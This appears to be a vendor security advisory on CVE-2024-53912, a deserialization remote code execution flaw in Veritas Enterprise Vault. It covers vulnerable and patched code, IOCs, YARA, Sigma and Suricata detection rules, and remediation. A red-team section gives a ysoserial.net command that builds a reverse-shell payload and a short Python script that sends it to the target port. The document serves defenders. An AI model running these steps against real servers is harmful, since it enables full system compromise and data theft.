CVE-2024-53912

Executive Summary

CVE-2024-53912 is a critical remote code execution (RCE) vulnerability in Veritas Enterprise Vault, a widely used enterprise archiving and eDiscovery platform. The flaw resides in the server component, specifically within the .NET Remoting service listening on a TCP port. The vulnerability is caused by the insecure deserialization of untrusted data received over the network. An unauthenticated, remote attacker can exploit this to execute arbitrary code on the target server with the privileges of the Enterprise Vault service account, typically SYSTEM or a highly privileged domain account. The CVSS score of 9.8 underscores the severity, as it requires no authentication, no user interaction, and can lead to a complete compromise of confidentiality, integrity, and availability. At the time of this report, no public proof-of-concept (PoC) exploit code is available, but the technical details are sufficient for a skilled attacker to develop one. The vendor, Veritas, has released a fix in version 15.2.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product. However, organizations should treat this as a critical supply chain risk, as the compromised server could be used to pivot to other systems or exfiltrate sensitive archived data.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Complete disclosure of all data on the system.
• Integrity (I): High – Complete compromise of system integrity.
• Availability (A): High – Total loss of system availability.

Threat Level: Critical. This vulnerability is wormable in nature and can be weaponized for ransomware or data extortion attacks targeting enterprise archives.

Deep Dive & Mechanics

The vulnerability is a classic .NET deserialization attack. Veritas Enterprise Vault uses .NET Remoting for inter-process and network communication. The server exposes a TCP endpoint that accepts serialized .NET objects. The application fails to validate or restrict the types of objects being deserialized.

Technical Breakdown:

1. Entry Point: The .NET Remoting TCP port (default is often 8400, but can be configured).
2. Attack Vector: An attacker crafts a malicious serialized .NET object (e.g., using BinaryFormatter or SoapFormatter).
3. Deserialization: The server deserializes the incoming data stream without proper type checking.
4. Code Execution: The malicious object contains a gadget chain (e.g., TextFormattingRunProperties, DataSet, or ObjectDataProvider) that, upon deserialization, executes arbitrary commands (e.g., System.Diagnostics.Process.Start("cmd.exe", "/c ...")).
5. Impact: The attacker gains a reverse shell or executes arbitrary code as the NT AUTHORITY\SYSTEM account.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-15.2): The vulnerable code likely uses a BinaryFormatter or similar deserializer without a SerializationBinder or SurrogateSelector to restrict allowed types.

// Vulnerable pattern
TcpServerChannel channel = new TcpServerChannel(8400);
ChannelServices.RegisterChannel(channel, false);
RemotingConfiguration.RegisterWellKnownServiceType(
    typeof(EnterpriseVaultService),
    "EnterpriseVaultService",
    WellKnownObjectMode.Singleton);

// Inside the service method
public void ProcessMessage(Stream dataStream)
{
    BinaryFormatter formatter = new BinaryFormatter();
    // No type validation - DANGEROUS
    object obj = formatter.Deserialize(dataStream);
    // Process obj...
}

Patched Code (15.2+): The patched version implements a custom SerializationBinder to whitelist only expected types, or switches to a safer serialization framework like Newtonsoft.Json with TypeNameHandling.None.

// Patched pattern
public class SafeBinder : SerializationBinder
{
    public override Type BindToType(string assemblyName, string typeName)
    {
        // Only allow specific types
        if (typeName.StartsWith("Veritas.EnterpriseVault."))
        {
            return Type.GetType(string.Format("{0}, {1}", typeName, assemblyName));
        }
        else
        {
            throw new SerializationException("Type not allowed");
        }
    }
}

// Inside the service method
public void ProcessMessage(Stream dataStream)
{
    BinaryFormatter formatter = new BinaryFormatter();
    formatter.Binder = new SafeBinder(); // Type whitelisting
    object obj = formatter.Deserialize(dataStream);
    // Process obj...
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A Windows Server 2019/2022 with Veritas Enterprise Vault 15.1 installed and the .NET Remoting port exposed.
2. Attacker: Kali Linux or a Windows VM with .NET development tools (Visual Studio, ysoserial.net).

Exploitation Steps:

1. Reconnaissance: Scan for the .NET Remoting port (e.g., nmap -p 8400 <target>).
2. Craft Payload: Use ysoserial.net to generate a malicious BinaryFormatter payload.

   # Generate a payload that executes a reverse shell
   ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "powershell -e <base64_encoded_rev_shell>"
   

3. Send Payload: Use a custom script or nc to send the raw bytes to the target port.

   import socket
   import sys
   
   payload = open("payload.bin", "rb").read()
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((sys.argv[1], 8400))
   sock.send(payload)
   sock.close()
   

4. Receive Shell: Listen on your attacker machine for the reverse shell connection.

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Monitor for unusual traffic to the .NET Remoting port (8400 or custom). Look for large, non-standard payloads.
2. Process Monitoring: Alert on EnterpriseVault.exe spawning cmd.exe, powershell.exe, or other suspicious child processes.
3. Log Analysis: Enable .NET Remoting logging (if possible) and monitor for deserialization errors or exceptions.
4. Honeypot: Deploy a decoy Enterprise Vault service to detect scanning and exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Inbound connections to TCP port 8400 (or custom .NET Remoting port) from external IPs.
  • Network traffic containing serialized .NET objects (look for \x00\x01\x00\x00\x00\xff\xff\xff\xff or System.Runtime.Serialization strings).
• Host IOCs:
  • Unusual child processes of EnterpriseVault.exe (e.g., cmd.exe, powershell.exe, rundll32.exe).
  • New files written to C:\Program Files\Veritas\Enterprise Vault\ or C:\Windows\Temp\.
  • Event ID 7031 (Service crash) or 7034 (Service unexpected termination) for the Enterprise Vault service.
  • Windows Security Event ID 4688 (Process Creation) with EnterpriseVault.exe as the creator.
• File IOCs:
  • Suspicious DLLs loaded by EnterpriseVault.exe (e.g., mimikatz.dll, beacon.dll).
  • Presence of ysoserial output files or custom payloads.

Detection Engineering

YARA Rule

rule CVE_2024_53912_Deserialization_Payload {
    meta:
        description = "Detects malicious .NET deserialization payloads targeting Veritas Enterprise Vault"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-53912"
    strings:
        $binary_formatter = { 00 01 00 00 00 ff ff ff ff }
        $text_formatting = "TextFormattingRunProperties" nocase
        $object_data_provider = "ObjectDataProvider" nocase
        $process_start = "System.Diagnostics.Process" nocase
        $cmd_exec = "cmd.exe" nocase
        $powershell = "powershell" nocase
    condition:
        $binary_formatter and (
            $text_formatting or
            $object_data_provider or
            $process_start or
            $cmd_exec or
            $powershell
        )
}

Sigma Rule

title: CVE-2024-53912 - Veritas Enterprise Vault .NET Remoting RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-53912 via process creation anomalies
author: Valters IT
date: 2024-12-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\EnterpriseVault.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\rundll32.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative scripts
level: critical

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 8400 (msg:"CVE-2024-53912 Veritas Enterprise Vault .NET Remoting RCE Attempt"; flow:to_server,established; content:"|00 01 00 00 00 ff ff ff ff|"; depth:8; content:"TextFormattingRunProperties"; nocase; distance:0; content:"System.Diagnostics.Process"; nocase; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Veritas Enterprise Vault version 15.2 or later immediately.
2. Network Segmentation: Restrict access to the .NET Remoting port (default 8400) to only trusted administrative hosts using firewall rules.
3. Disable .NET Remoting: If not required, disable the .NET Remoting service entirely.

Long-Term Mitigations:

1. Application Control: Use AppLocker or Windows Defender Application Control (WDAC) to block unauthorized executables.
2. Monitoring: Implement continuous monitoring for deserialization attacks using the provided YARA/Sigma/Suricata rules.
3. Least Privilege: Run the Enterprise Vault service with the minimum necessary privileges (avoid SYSTEM).
4. Backup: Ensure offline or immutable backups of the Enterprise Vault database are available.

Valters IT
Securing Digital Frontiers